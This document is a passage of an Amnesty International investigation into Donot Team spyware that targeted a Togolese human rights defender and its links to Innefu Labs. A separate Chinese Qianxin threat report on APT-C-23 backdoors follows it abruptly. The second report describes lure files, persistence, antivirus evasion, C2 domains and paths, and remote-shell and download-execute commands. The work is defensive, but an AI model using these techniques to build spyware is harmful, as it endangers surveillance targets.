Amnesty International investigated the attempted attacks using a multidisciplinary research method. Primarily the attacks and related spyware samples were analysed using technical malware analysis and reverse engineering techniques. Suspicious samples were run in malware sandboxes and manually analysed to confirm malicious behaviour. Malware sandboxes are isolated computer environments where spyware can be safely run, and its behaviour monitored and recorded.
Starting with the initial spyware samples, Amnesty International’s Security Lab utilized an internet-wide network scanning methodology to identify additional servers, infrastructure and other digital resources which were owned or controlled by the threat actor linked to these digital attacks. This report also draws on threat intelligence reports published by companies in the cybersecurity industry which describe spyware attacks used by this and related threat actors over the past 10 years. While these reports provided context on the threat actor, they were not used as part of the attribution of these attacks. All data used for attribution of these attacks was obtained directly by Amnesty International from open sources and publicly exposed locations on attacker-linked infrastructure.
Amnesty International also used standard “open-source intelligence” techniques to identify relevant publicly available information from websites and social media. This information was used to corroborate information initially discovered using the described technical research methodology. Additionally, Amnesty International collected testimony from the HRD who was targeted by these attacks. Relevant human rights literature was reviewed when preparing this report.
---
## 3. BACKGROUND
In December 2019, Togolese President Faure Gnassingbé was seeking to run for a fourth term in the then upcoming February 2020 elections. In May 2019, the parliament had approved a constitutional change permitting the incumbent president to potentially stay in office until 2030. The opposition had boycotted legislative elections in December 2018, in part because of the dispute over term limits.
The presidential election took place in February 2020. Faure Gnassingbé was elected for a fourth term following the election with 72% of the votes. The re-election was contested by the opposition.
In the backdrop of a tense political climate and in anticipation of the elections, Togo experienced a crackdown against peaceful dissent. During this time a prominent Togolese HRD, who wishes to remain anonymous for security reasons, reached out to Amnesty International’s Security Lab alarmed by suspicious WhatsApp messages they were receiving on their mobile phone.
These messages were sent from a WhatsApp account registered to an Indian phone number. The account repeatedly wrote in English, encouraging the HRD to install an Android chat application in order to continue their communications. This was not a normal Android application. Instead, it was a piece of custom Android spyware designed to extract some of the most sensitive and personal information stored on the HRD’s phone. If successfully installed on the device, it would allow the attackers to record the camera and microphone, collect photos and files stored on the device, and even read encrypted WhatsApp messages as they were being sent and received. Amnesty International’s Security Lab investigated these attacks and identified the threat actor commonly known as Donot Team within the cybersecurity industry as responsible. Details of this investigation are set out in the following chapter.
Previously reported attack campaigns were tied to Donot Team based on the use of a common set of custom spyware tools and infrastructure. The Donot Team attacks may involve multiple distinct actors or organisations with access to the same custom spyware toolset. The identity of all individuals or groups involved with Donot Team activity is unknown. Previously, this group has only been publicly linked to digital attacks on political and military targets in South Asia.
### 3.1 TARGETED SURVEILLANCE: A THREAT FOR HRDS
The targeting of HRDs using digital surveillance technology is unlawful under international human rights law. Amnesty International believes that the Togolese HRD was targeted solely on the basis of their human rights work. The prominent HRD has a long history of working with Togolese civil society organisations and is an essential voice for human rights in the country. There is no suggestion that this HRD has been targeted for any legitimate purpose or charged with any crime. This unlawful surveillance violates their right to privacy and impinges on their rights to freedom of expression and opinion, of association and of peaceful assembly. Both the Universal Declaration of Human Rights and the International Covenant on Civil and Political Rights protect these rights. The Covenant guarantees the right to hold opinions without interference and the right to free expression (Article 19) and guards against arbitrary and unlawful intrusion of privacy (Article 17).
International law and standards also require that any interference by the state on the right to privacy should be lawful, necessary, proportional, and legitimate. States are required to ensure that individuals whose rights have been violated have access to remedy (Article 2(3)). This includes the positive obligation to take appropriate measures to prevent, punish, investigate or redress the harm caused by such acts by private persons or entities, including from harm caused by surveillance companies.
Under the UN Guiding Principles on Business and Human Rights, all companies themselves have an independent responsibility to respect human rights. This responsibility “… is a global standard of expected conduct for all business enterprises wherever they operate… and it exists over and above compliance with national laws and regulations protecting human rights.”
Increasingly, HRDs worldwide have to reckon with the growing threat of unlawful targeted surveillance, alongside more traditional methods of repression. Companies who produce and market cybersurveillance tools or who directly provide ‘hacker-for-hire' services on behalf of others have become dangerous actors responsible for creating new tools for repression and exacerbating threats against those who defend our human rights.
The Pegasus Project, coordinated by Forbidden Stories with the technical support of Amnesty International’s Security Lab revealed how governments around the world have abused sophisticated cybersurveillance tools to unlawfully surveil journalists, HRDs and political opposition. These revelations provide a snapshot of the abuses linked to just a single company operating in the offensive cybersurveillance industry.
Even less is known about the “hacker-for-hire” industry. Due to weak regulatory and legal oversight, companies can freely sell their technology and services to private clients or countries where human rights are not protected or respected, and then in turn use the technology to track and monitor those who defend human rights. Multiple “hacker-for-hire” companies have advertised legitimate cybersecurity services while covertly carrying out offensive digital attacks for their clients.
It is often virtually impossible for HRDs to prove the existence of surveillance, either because of technical hurdles or because its use is covert. Even where targeting or the presence of an active infection cannot be proven, the fact of living under the constant threat of possible surveillance may constitute a human rights violation in itself. Regardless of whether the attempt at surveillance is successful or not, the targeting of human rights activists instils fear and has a chilling effect on their ability to continue their work without undue interference. In many instances this leads those who defend human rights to self-censor and refrain from exercising their rights to freedom of expression, association and peaceful assembly. Inadequate regulation and oversight by the state – in violation of international standards – is the cause of this chilling effect, and therefore the responsibility of the state to remedy, in line with its obligations to respect, protect and fulfil human rights.
The threat of surveillance may also have a detrimental effect on the mental health of HRDs and information may be used to divulge details in the public sphere exposing them and/or their contacts to personal attacks and smear campaigns. All of this has a damaging knock-on effect on communities and societies whose rights HRDs are fighting for. Indeed, the Togolese HRD who was targeted told Amnesty International: “I felt in danger. I can't believe that my work could be so disturbing to some people that they would try to spy on me. I am not the only one working for human rights in Togo. Why me?"
---
## 4. TECHNICAL INVESTIGATION
### 4.1 FIRST ATTACKS
On the 26 December 2019, the HRD in Togo received unexpected messages in English on their mobile phone on WhatsApp. The unknown contact pretended to know the HRD and tried to convince them to install a chat application, seemingly called ChatLite. Amnesty International analysed this application and confirmed that it was malicious and related to a known Android spyware family called “StealJob”. Later the attackers sent the HRD two additional download links for the app. At this point, the HRD was already aware that these messages were not legitimate. The subsequent messages asking for new links were an attempt to collect additional information which was helpful in tracing these attacks: Both links pointed to the website https://bulk.fun/ and ended with two random characters. This website appeared to be a URL shortening service operated by the attackers. Each of the links redirected targets to malicious Android applications. More information on URL shortening services and how they were used in this attack is included in the next section of the report. The HRD did not click on the links but instead forwarded screenshots of the suspicious messages to the Amnesty International Security Lab.
The Android application masqueraded as a chat application named ChatLite but it was actually a custom-developed Android spyware tool that, when successfully deployed, allows the attackers to collect sensitive data from victims’ mobile devices and install additional spyware tools.
### 4.2 INVESTIGATING THE ATTACK INFRASTRUCTURE
Amnesty International began this investigation by mapping the infrastructure used by the attackers to deliver the Android spyware. A search for the bulk.fun domain on the VirusTotal malware database returned additional samples of the same Android spyware. One named Kashmir_Voice_v4.8.apk and another named SafeShareV67.apk. Both samples were identified by multiple antivirus vendors as being related to Donot Team.
Since 2018, security researchers have documented Donot Team attacks targeting organisations and individuals in South Asia, primarily in Pakistan and India. The targeting of this Togolese HRD is therefore outside the known geographic region of Donot Team’s previous activity.
The initial spyware link received in the WhatsApp messages was generated by an attacker-run URL shortener. A URL shortener generates short URLs which redirect to another web page. URL shorteners are used by attackers for two reasons: to hide the ultimate destination of a link; and to collect information about the target when the link is opened, including their IP address, location, and the model of the target device.
### 4.3 CONNECTIONS WITH DONOT TEAM
Donot Team (also known as APT-C-35 or SectorE02) is a threat actor that was first identified and named by the security company Netscout in March 2018. Netscout analysed the Donot Team Windows spyware tool “YTY” which was used in a targeted attack campaign. Donot Team is known to use custom-made spyware, such as YTY for Windows and StealJob for Android. The cybersecurity community has shown links between Donot Team and other threat actors such as the Confucius group and the Operation Hangover attack campaign. It is not clear from publicly available evidence if these campaigns are all linked to the same threat actor, or to several threat actors that may have collaborated at some stage. This campaign is clearly linked to the Donot Team because all the spyware sent to the HRD are versions of the custom spyware tools YTY or StealJob, which are known to be exclusively used by Donot Team.
### 4.4 A FORTUITOUS DISCOVERY
By performing an internet-wide scan for servers answering to the unique communication protocol of Donot Team’s StealJob Android spyware, Amnesty International was able to identify another spyware Command and Control (C&C) server that appeared to be used by the attackers to test the functionality of their Android spyware while it was under development. This server was hosted on US cloud company Digital Ocean at 198.211.118.246 with the domain name mimeversion[.]top. This domain is similar to mimestyle[.]xyz, the C&C server of the Android spyware sample sent to the HRD in Togo, also hosted on Digital Ocean. The use of a very similar domain name, the same hosting provider, and the same custom malware C&C software suggests this testing server is indeed closely tied to the group who targeted the HRD. Attackers may set up standalone testing C&C servers to test their spyware tools and server code before deploying the spyware against their intended targets.
The mimeversion[.]top server had a publicly accessible directory which exposed data uploaded from infected test devices operated by Donot Team. Most of these directories contained screenshots from compromised Android phones. These screenshots were generated by the attackers while testing their Android spyware’s screen capture and keylogging capabilities. One screenshot found on this server showed WhatsApp messages between an infected test device and a test WhatsApp account called “UserTester”. The phone is joined to the Indian Airtel telecom network. The OpenVPN icon in the status bar shows that the phone is connected to a VPN server. The attackers are likely using the VPN to obscure their location when testing their spyware and interacting with the attack infrastructure.
### 4.5 LINKS BETWEEN INNEFU LABS IP ADDRESS AND ANDROID ATTACK INFRASTRUCTURE
Amnesty International initially found the Innefu Labs IP address, 122.160.158.3, exposed in Android screenshots on the Android spyware test server. While this IP address is not registered directly to Innefu Labs, it is being used by the company. A subdomain for authshieldserver.com has pointed to the Innefu Labs IP address since 2016. AuthShield is an Innefu Labs product. Additionally, the PassiveTotal service has also recorded TLS certificates containing the innefu.com domain on the same IP address. Other IP addresses in the same IP range have publicly exposed web interfaces referencing Innefu Labs. One such web service at neighbouring IP address 122.160.158.4 is titled “Intelligence Collation and Analysis System”. The page states that the service is “Powered by Innefu Labs”.
The same Innefu Labs IP address also appeared in the SQL databases Amnesty International discovered on the URL shortener and Android spyware distribution servers. These SQL databases also contain records from previous spyware distribution servers which were no longer active at the time of discovery.
### 4.6 LINKS BETWEEN INNEFU LABS AND THE SPYWARE ATTACK IN TOGO
While the precise nature of Innefu Labs’ connection to the attacks in Togo cannot be known, our investigation indicates that Innefu Labs at a minimum may have failed to prevent abuses linked to its operations and products and may have caused or contributed to these abuses. Amnesty International wrote to Innefu Labs in September 2020 to seek their response on the information detailed in this report. In a letter in response to Amnesty International, Innefu Labs stated that it “has not sold any digital surveillance tools or any other services at all to the Government of Togo or any of its agencies. Innefu has never provided any digital surveillance tools or services for the purpose of conducting surveillance of activists and human rights defenders.”
However, Innefu Labs and its IP address 122.160.158.3 was identified on multiple servers tied to Donot Team and the attacks against the HRD in Togo. The WhatsApp screenshot shows that an attacker involved in testing the Donot Team Android spyware had previously entered both the Innefu Labs IP address and the bulk.fun domain on their Android keyboard. This attacker was interacting directly with both the domain used in the Togo attacks and Innefu Labs’ own network. This is significant as it shows that the Innefu Labs IP address is not only linked with testing Donot Team spyware but also linked to the operational infrastructure used to deploy the Donot Team spyware.
Separately, the server logs found on the bulk.fun spyware server show that the Innefu Labs IP address had been connecting to Donot Team attack infrastructure for almost a year before the Togo spyware attacks. In February 2019 the Xiaomi Redmi 5A phone was recorded in the logs connecting from both the Innefu IP address and the Deltahost server at 193.169.244.74. The database records indicate that the Deltahost server was being used as a private VPN or proxy in an attempt to obscure the location of the attackers. Only the group responsible for these attacks would have the credentials necessary to upload Android spyware to the attack server and to use the private VPN server. Connections by the same device from both the Innefu Labs IP address and the private VPN server indicate that the same threat actor had access to both Innefu Labs’ internal network and Donot Team’s attack infrastructure. Taken as a whole, this evidence strongly suggests that Innefu Labs is linked to the development of Donot Team spyware and is connected to at least some of Donot Team’s attack infrastructure.
Innefu Labs may not be actively involved in attacks attributed to Donot Team. However, in this case, there is evidence linking Innefu Labs to the Donot Team infrastructure used in these attacks.
### 4.7 WHO IS INNEFU LABS?
On its website Innefu Labs Pvt. Ltd. describes itself as an “Information Security R&D start-up, providing cutting-edge Information Security & Data Analytics solutions”. It claims its customers include “some of the most sensitive and critical organizations in Government of India”. The company states that “Innefu is an AI-driven R&D start-up, providing information security and AI-based Predictive Analytics and Big Data analytics solutions to our clients that does include law enforcement agencies.”
On its website the company describes developing cyber intelligence solutions for Law Enforcement and Defence including social media monitoring, facial recognition systems, and predictive policing systems. One of its listed products is the AuthShield Two-Factor authentication solution linked to the domain authshieldserver.com and the Innefu Labs IP address 122.160.158.3 previously mentioned.
The company does not seem to publicly advertise offensive cyberattack services. However, in addition to the links between Innefu Labs and the Donot Team attack infrastructure, there is supporting evidence demonstrating that the company may be engaged in cybersurveillance activities. Innefu Labs’ website presents reports which showcase their Prophecy Innsight social media monitoring tool. These reports focus on a range of social and political movements in India and abroad including “Unravelling Sudan Uprisings: Open source intelligence on the ongoing anti-government protests in Sudan”, and an open source intelligence (OSINT) report “Influencers opposing Article 370 - Shehla Rashid & co”. Amnesty International reviewed public LinkedIn profiles for current and former Innefu Labs employees. A software developer who worked for Innefu Labs from June 2018 to August 2019 claimed that he developed software in C++, the language used to create the Donot YTY spyware. The description, including “prevent them from reverse engineering”, “research work on anti-viruses" and “[improving] the algorithm for fast gathering of data”, shows that he worked on anti-detection and data-gathering techniques that are very specific to spyware development.
Another former employee’s public Curriculum Vitae includes explicit claims of developing spyware at Innefu Labs as early as December 2010.
---
## 5. HUMAN RIGHTS CONCERNS
### 5.1 HUMAN RIGHTS CONCERNS AND INNEFU LABS’ RESPONSIBILITIES
Amnesty International wrote to Innefu Labs in September 2020 to seek their response on a number of questions raised in this investigation. Amnesty International wrote a further letter to the company on 20 September 2021 seeking comment ahead of publication of this report. The full response from Innefu Labs is included in Appendix I, wherein they deny any knowledge of “Donot Team” and deny exporting digital surveillance tools or services to any country, including to authorities in Togo.
However, Amnesty International’s investigation uncovered evidence demonstrating apparent links between Innefu Labs and the Donot Team spyware and attack infrastructure, including the infrastructure used in the unlawful targeting of the Togolese HRD. There is no suggestion that this prominent HRD has been a suspect or investigated for any crime. Their targeting is likely for their legitimate human rights work.
The technical evidence suggests that Innefu Labs is linked to development and/or deployment of some Donot Team spyware tools. These tools may be shared by a range of hacker-for-hire actors which are grouped under the “Donot Team” cluster. There is no technical evidence to suggest Innefu Labs was directly responsible for or aware of the attacks against the HRD in Togo using the Donot Team spyware tools. However, the development or supply of technology such as spyware can create serious human rights risks. At a minimum, Innefu Labs has a responsibility to ensure that any technology or services developed by the company do not contribute to human rights abuses.
The UN Guiding Principles on Business and Human Rights state that, to meet their responsibility to respect human rights, businesses should have in place human rights policy commitments and address adverse human rights impacts with which they are involved through human rights due diligence. Due diligence is a process of identifying and assessing; ceasing, mitigating and preventing; tracking and monitoring; communicating and accounting for human rights risks and impacts.
In their letter, Innefu Labs stated that they do not have a human rights policy. Amnesty International also asked whether Innefu Labs has a process for carrying out human rights due diligence, but the company did not provide any information.
The fact that Innefu Labs lacks a human rights policy and does not appear to carry out human rights due diligence is especially concerning not only given the evidence set out in this report but given the suite of products and services it offers, all of which pose an enormous risk to human rights. The company describes developing cyber intelligence solutions for law enforcement and defence including social media monitoring, facial recognition systems, and predictive policing systems, all technologies with the potential to undermine human rights.
### 5.2 CYBER MERCENARIES ON THE RISE
A growing list of companies and groups have been linked to offensive cyber activities targeting HRDs and civil society. In many of these cases the companies appear to play a direct role in the attacks, including deploying spyware and performing social engineering against the targets. The worrying trend of private companies actively performing unlawful digital surveillance increases the scope for abuse while reducing avenues for domestic legal redress, regulation, and judicial control.
The nature of cross-border commercial cybersurveillance where the surveillance targets, the operators, the end customer, and the attack infrastructure can all be located in different jurisdictions creates significant impediments to achieving remediation and redress for human rights abuses. It further leaves any HRD, anywhere in the world, open to potential unlawful targeted surveillance, leaving no safe refuge. This particularly increases the threat of extraterritorial surveillance against diaspora activists.
In 2017, Amnesty International first revealed the “Operation Kingphish” surveillance campaign targeting migrant rights activists and journalists based in Qatar and Nepal. Subsequent research published by Bellingcat found links between the Operation Kingphish attacks and a larger set of activity tied to a hacker-for-hire group known as Bahamut. Blackberry Research released a significant report in late 2020 which also attributes multiple long running spyware, social engineering and disinformation campaigns targeting Kashmiri and Sikh activist groups, business and diplomatic targets in South Asia and the Gulf states to Bahamut. The range of targeting again suggests that Bahamut is a hacker-for-hire actor performing surveillance of civil society on behalf of multiple customers.
In 2020, Citizen Lab published a detailed investigation exposing an extensive campaign of targeted surveillance which it named “Dark Basin”. Its three-year investigation outlines attacks against a wide range of civil society, media and business targets globally. Technical evidence allowed Citizen Lab to attribute the attacks to another Indian cybersecurity company named BellTroX. Significantly, Citizen Lab researchers documented an extensive set of attacks targeting civil society and environmental activists in the United States. Many of these activists were members of the #ExxonKnew campaign, which aimed to prove that ExxonMobil concealed information about climate change for decades.
The scope and persistent nature of these attacks show that nobody is safe from the expanding private surveillance industry. In July 2020, The UN ‘Working Group on the use of mercenaries as a means of violating human rights and impeding the exercise of the right of peoples to self-determination’ specifically highlighted the threat posed by cyber mercenaries in its report.
That companies like Innefu Labs and BellTroX are operating in India without adequate regulation is a serious concern for human rights. India is part of the Wassenaar Arrangement – a voluntary export control regime whose 42 member states exchange information on transfers of conventional weapons and dual-use goods and technologies – through which India commits to putting in place export controls for targeted surveillance technologies. India has human rights obligations to rein in abuses by such companies, including through adequate regulation and oversight. Further, the United Nations Guiding Principles on Business and Human Rights require states to set out clearly the expectation that all business enterprises domiciled in their territory and/or jurisdiction respect human rights throughout their operations.
### 5.3 CIVIL SOCIETY UNDER SURVEILLANCE IN TOGO
Several religious and opposition political figures in Togo have reportedly been targeted with digital surveillance tools. In August 2020, The Guardian and Citizen Lab revealed that two Catholic clergy members, Bishop Benoît Alowonou and Father Pierre Chanel Affognon had been targeted using a NSO Group-linked WhatsApp vulnerability. Both were notified by WhatsApp following the attacks in April and May 2019. In the same period two members of the political opposition in Togo were also targeted using NSO Group tools. The Pegasus Project revealed that hundreds of Togolese numbers were listed as potential targets of NSO Group’s Pegasus spyware. Those on the list included independent journalists and members of political opposition groups.
While the campaigns described in this report have no known links to NSO Group, they are part of a pattern of digital threats faced by HRDs and dissenting voices in Togo.
### 5.4 SHRINKING SPACE FOR HUMAN RIGHTS WORK IN TOGO
“These attacks were crippling to work, especially since I didn’t know the full extent of what was going on. I didn’t know which electronic devices were safe or have means to be sure my communications with my colleagues and victims were secure. Not knowing how far the intrusions could have affected my personal data, I was in a confused and helpless situation.”
— Togo-based human rights defender who was targeted by this surveillance campaign.
The targeted digital attack campaign against the prominent HRD in Togo occurred in the context of a broader insecure environment for government critics. In 2019, the year preceding the presidential election, Amnesty International documented the adoption of laws curtailing the rights to freedom of expression and peaceful assembly and cases of human rights violations committed by the authorities, particularly against pro-democracy activists.
Notably, on 12 August 2019, the National Assembly adopted two laws raising major human rights concerns. The homeland security law detailed measures that are applicable during “threats or grave breaches of public order”. It allows the Minister of Territorial Administration and, in some cases, local authorities to order house arrests, identity controls and interrogations of up to 24 hours, expulsions of foreign nationals, bans on assemblies, suspensions of associations, and closures of establishments including places of worship, hotels and “other meeting places” without proper judicial oversight.
The law allows the Minister of Territorial Administration wide discretion to censor online content and shut down the Internet. Moreover, revisions to the law on assemblies stated that organizers of meetings and assemblies in private settings must inform local authorities in advance. It provides for a ban on assemblies in certain locations and at certain times. The law allows local authorities to cap the number of assemblies per week in their area and to ban protests at the last minute.
In December 2018, the National Assembly passed the law on cybersecurity and the fight against cyber criminality that severely restricts the right to freedom of expression by introducing punishments up to three years’ imprisonment for false information, and up to two years’ imprisonment for attacks on public morality, as well as the production, dissemination or sharing of data that undermines “order, public security or human dignity”. In addition, the law contains vague provisions on terrorism and treason, that carry penalties of up to 20 years, and could be easily used against whistle-blowers and others reporting human rights violations and abuses. It also confers additional powers on the police, in terms of surveillance of communications or IT equipment, without adequate safeguards including judicial control.
Amnesty International has also called on Togo authorities to protect human rights defenders. In April 2020, two human rights defenders and a journalist were arrested and detained during human rights monitoring. Their mobile phones were also confiscated by an officer of Service Central de Recherches et d’Investigations Criminelles (SCRIC). On 19 January 2019, the Criminal Court of Lomé sentenced activist Foly Satchivi of the movement Under No Circumstances (En aucun cas) to 36 months in prison, with a 12-month suspended sentence, for “rebellion”, “apology of crimes and offences” and “aggravated public disorder”. He had been arrested on 22 August 2018 while he was about to hold a press conference on the crackdown on protests. On 10 October 2019, the Court of Appeal reduced his sentence to 28 months in prison, with a six-month suspended sentence. He was released on 16 October 2019 following a presidential pardon. On 15 October 2019, pro-democracy activists from Turn the Page Niger (Tournons la page Niger, TLP Niger) and TLP Côte d’Ivoire were denied access to Togo. In August 2020, Citizen Lab identified four Togolese religious and political opposition figures who were targeted with the Pegasus spyware sold by NSO Group. All of these individuals were targeted using a security vulnerability in WhatsApp in early 2019. As outlined in Section 5.3, the Pegasus Project revealed that hundreds of Togolese phone numbers were contained in a list of possible targets of NSO Group’s Pegasus spyware, including journalists and opposition political figures.
The additional attempted digital attacks identified in this report and directed against a human rights defender in Togo highlight yet another threat faced by human rights defenders in Togo. Togolese authorities have a responsibility to respect the right to freedom of expression, including from violations against the right to privacy. They also have the obligation to protect from violations from third parties. Togolese authorities should put in stronger mechanisms to ensure that HRDs are able to carry out their work in a safe and enabling environment, including providing protection against and remedy for unlawful targeted surveillance. Amnesty International wrote to the Minister for Human Rights and Relations with the Institutions of Togo to request a response to our findings but did not receive a response at the time of publication.
---
## 6. CONCLUSION AND RECOMMENDATIONS
As mentioned previously, evidence in this report shows that Donot Team spyware was used in the digital attacks against the prominent Togolese HRD. The targeting of the same HRD via both WhatsApp and email suggests that they were the clear and intended target of the attacks. Multiple distinct actors or organizations may have access to the custom Donot Team spyware toolset. The identity of all individuals or groups involved in Donot Team attacks is unknown. Based on the evidence collected in this research, Amnesty International believes that Innefu Labs plays a role in the development and/or deployment of some of the spyware tools which have been previously linked to Donot Team.
Amnesty International’s investigation has found direct links between Innefu Labs, the Innefu Labs IP address and the server at bulk.fun which was used to send the Donot Team spyware to the HRD. The Innefu Labs IP address 122.160.158.3 was included in the exposed log files on the bulk.fun attack server. Additionally, the same Innefu Labs IP address was recorded in an Android screenshot beside the bulk.fun domain when the attackers were testing their spyware.
The research does not exclude the possibility that other actors were also involved in the targeting of this HRD. However, it is clear that Innefu Labs is linked to the development and/or deployment of Donot Team spyware tools, and has connections to the attack infrastructure used in this attack. As such, there is a clear risk that Innefu Labs may have contributed to human rights abuses in this case.
### 6.1 RECOMMENDATIONS
**TO INNEFU LABS**
- Conduct an external audit and publish in full the findings of the audit into Innefu Labs links to the spyware infrastructure and tools used in the attack against the HRD from Togo, including detailing the actions taken by Innefu Labs in response to the audit.
- Urgently adopt a human rights policy and ensure contractual protections against human rights abuse.
- Adhere to the UNGPs and the Organization for Economic Cooperation and Development (OECD) Guidelines.
- Urgently ensure transparency with regard to sales and contracts of all its technologies.
- Conduct adequate human rights due diligence, the results of which should be disclosed, to identify, prevent, mitigate, and address any adverse human rights impacts which Innefu Labs may cause, contribute to, or be directly linked to.
- Conduct consultations with rights holders domestically or in destination countries before signing contracts to identify and assess human rights risks and develop mitigation measures. |
# 奇安信威胁情报中心
## 概述
双尾蝎APT团伙是一个长期针对中东地区的高级威胁组织,其最早于2017年被披露。该组织至少自2016年5月起,便持续针对巴勒斯坦教育机构、军事机构等重要领域开展了有组织、有计划、有针对性的攻击,拥有针对Windows和Android双平台的攻击能力。
近日,奇安信威胁情报中心红雨滴团队在日常的威胁狩猎中捕获多个伪装成视频、文档和图片的可执行文件,此类样本将图标设置为对应的诱饵类型,诱导受害者点击执行。当样本执行后,将释放展示相关诱饵迷惑受害者。释放展示的诱饵包括CIA对哈马斯支持的相关政治类诱饵、巴勒斯坦地区美女视频图片、简历相关文档等。奇安信威胁情报中心经过溯源关联后发现,此次捕获样本疑似均来自APT组织:双尾蝎。
奇安信威胁情报中心在发现此次攻击活动的第一时间便向安全社区进行了预警。
## 样本信息
此次捕获的样本具有Pascal和VC两个版本,并伪装成视频、图片、文档等几种诱饵类型,伪装成文档类的样本信息如下:
| 文件名 | MD5 |
| --- | --- |
| Financing USA is illegal and suspicious organizations.exe | 9fcb1cb7e8bb3424ce7e83ce5ad9a78d |
| My Cv.docx.exe | ae0b53e6b378bf74e1dd2973d604be55 |
| serati al thatia.docx.exe | c27f925a7c424c0f5125a681a9c44607 |
| My Cv-4786789573896-2347675-docx.exe | faff57734fe08af63e90c0492b4a9a56 |
释放展示的文档内容包括CIA资助哈马斯相关信息,简历信息,诱饵内容如下:
- 9fcb1cb7e8bb3424ce7e83ce5ad9a78d
- ae0b53e6b378bf74e1dd2973d604be55
- c27f925a7c424c0f5125a681a9c44607
- faff57734fe08af63e90c0492b4a9a56
除文档类诱饵以外,捕获的样本还会释放展示视频、图片等影音类诱饵,部分样本信息如下:
| 文件名 | MD5 |
| --- | --- |
| sun is crying in a door and what it tells tells my country Take me on my homelandd.exe | 1507f7ecc5fe8ef4c90c853d64e1a9f9 |
| PhoneProviders.exe | 9af8f2a02befa7ceb9b72359ce30c0bb |
| bihbik lamaa bitahki tarsum eishafafik dahka hbihbik lamaa bitahki.exe | 26a1fc2f983fb8abae4b47b0c7edfee6 |
| Her hands are following my pain Irfana, I am suffering What lightness and my pain wasted me.exe | e0f8e726e4d5a4ad22de8a62c98e1737 |
| gift.mp4.exe | 835f86e1e83a3da25c715e89db5355cc |
| Video02042020.mp4.exe | f5bac4d2de2eb1f8007f68c77bfa460e |
影音类诱饵主要以中东地区美女视频、照片为主,部分诱饵内容如下:
- 1507f7ecc5fe8ef4c90c853d64e1a9f9
- 9af8f2a02befa7ceb9b72359ce30c0bb
- e0f8e726e4d5a4ad22de8a62c98e1737
- 835f86e1e83a3da25c715e89db5355cc
## 详细分析
### VC后门
- 文件名:Financing USA is illegal and suspicious organizations.exe
- MD5:9fcb1cb7e8bb3424ce7e83ce5ad9a78d
- 诱饵内容:CIA资助哈马斯相关信息
- C2:ansonwhitmore[.]live
样本伪装成Word文档,执行后将从资源中获取数据释放到Financing USA is illegal and suspicious organizations.docx,并打开该文档迷惑受害者。释放展示文档内容为CIA资助哈马斯行动相关信息,诱饵内容如下:
之后在启动项目录创建lnk文件实现持久化,在%temp%目录下创建SwitcherDataModel文件夹。尝试读取%temp%\\SwitcherDataModel\\Secombe.txt文件,若读取失败,则获取计算机名加随机字符写入该文件。之后获取杀软、系统版本等信息。与C2: ansonwhitmore.live/yohann/bordalas/ignasI通信,发送收集的计算机基本信息。若成功通信则进入后续命令分发函数,获取Secombe.txt数据与C2: ansonwhitmore.live/yohann/bordalas/alejandro获取命令执行。
与双尾蝎组织常用手法一致的是,该样本也利用人名作为指令。相关指令功能如下:
| 指令 | 功能简介 |
| --- | --- |
| germain | 执行信息收集函数,休眠 |
| gustavo | 休眠 |
| steve | 请求新地址 |
| Isabella | 下载文件并执行 |
### Pascal后门
- 文件名:My Cv-4786789573896-2347675-docx.exe
- MD5:faff57734fe08af63e90c0492b4a9a56
- 诱饵内容:简历信息
- C2:Judystevenson[.]info
该样本是采用Pascal语言编写的可执行文件,样本将图标设置为Word文档图标,并以简历为诱饵名,诱导受害者执行,执行后将释放展示简历信息迷惑受害者。通过资源文件可发现该样本存在一个主窗口,三个定时器,两个按钮,以及一个Lazarus IDE的多行编辑框memo。
其中三个定时器分别对应不同的功能,两个按钮对应Post和Get请求功能,memo记录每一步操作。定时器Timer3功能为拷贝自身,当计算机中未安装卡巴时,拷贝自身到%PROGRAMDATA%\\SecProcessingWindowsSystem.exe。定时器Timer2则主要负责持久化操作,启动后首先判断计算机中是否安装了如下杀软:
- Kasper
- eScan
- 360
- Corporate
- F-Secure
- Bitdefender
之后将尝试建立持久化,将设置自身lnk带上-rq参数避免每次开机都打开诱饵文档让用户产生怀疑。同时对不同环境将执行不同的持久化操作。定时器Timer1主要功能为释放诱饵文档以及与C2通信。当Timer1执行后将检测当前的启动参数,若不带-rq则将MYDATA资源中的诱饵文档释放到%temp%\\Manal Cv.docx。之后获取计算机用户名、杀软、系统版本等信息,Base64编码后以如下格式拼接:
- vcqmxylcv 计算机名,用户名
- vcnwaapcv 杀软信息
- vcllgracv 系统版本信息
- vcwjlxycv 当前运行目录
- vccodwfcv 软件版本
将获取的信息上传到hxxp://judystevenson[.]info/vcapicv/vchivmqecv/vbqsrot,与C2通信后获取指令执行,功能号使用MD5表示。指令功能如下:
| 指令 | 对应功能 |
| --- | --- |
| eadb5aebe89133bccce354dfc68824b1 | 远程Shell |
| 25431262a6689fe80d8516eb141fc7ef | 截图 |
| 3b040104b112d52d9baef903e9c3c768 | 下载执行 |
## 溯源关联
奇安信威胁情报中心红雨滴团队对利用奇安信威胁情报中心ALPHA平台对此次攻击活动恶意代码、攻击手法等方面分析发现,此次捕获的样本疑似来自APT组织双尾蝎。经关联分析,我们从样本库中发现样本7ef3520da2151c3724e3615943833a5f与此次捕获VC版本后门样本代码几乎一致。其中一处相似代码如下:样本7ef3520da2151c3724e3615943833a5f C2:katesacker[.]club在ALPHA平台已有双尾蝎组织相关标签。同时双尾蝎组织常常在样本中使用人名组成C2路径等,此次捕获的样本中也是如此。
## 总结
双尾蝎组织是常年活跃在中东地区的APT团伙,其具有Windows和Android双平台攻击武器,仅Windows平台恶意代码就丰富多变,具有多种语言编译的后门。奇安信威胁情报中心将持续追踪该组织。同时基于奇安信威胁情报中心的威胁情报数据的全线产品,包括奇安信威胁情报平台(TIP)、天擎、天眼高级威胁检测系统、奇安信NGSOC等,都已经支持对此类攻击的精确检测。
## IOCs
- 89e9823013f711d384824d8461cc425d
- 21aa63b42825fb95bf5114419fb42157
- 9fcb1cb7e8bb3424ce7e83ce5ad9a78d
- 4694bf0093c95fa9a7f49af3a7722211
- 1507f7ecc5fe8ef4c90c853d64e1a9f9
- 26a1fc2f983fb8abae4b47b0c7edfee6
- 9af8f2a02befa7ceb9b72359ce30c0bb
- e0f8e726e4d5a4ad22de8a62c98e1737
- ae0b53e6b378bf74e1dd2973d604be55
- c27f925a7c424c0f5125a681a9c44607
- 835f86e1e83a3da25c715e89db5355cc
- f5bac4d2de2eb1f8007f68c77bfa460e
- faff57734fe08af63e90c0492b4a9a56
- c4a90110acd78e2de31ad9077aa4eff6
- 9d76d59de0ee91add92c938e3335f27f
- a0e681a0637988baea55b50cfff5c3ad
- 51ae5a914f10945edcc4668550c5d880
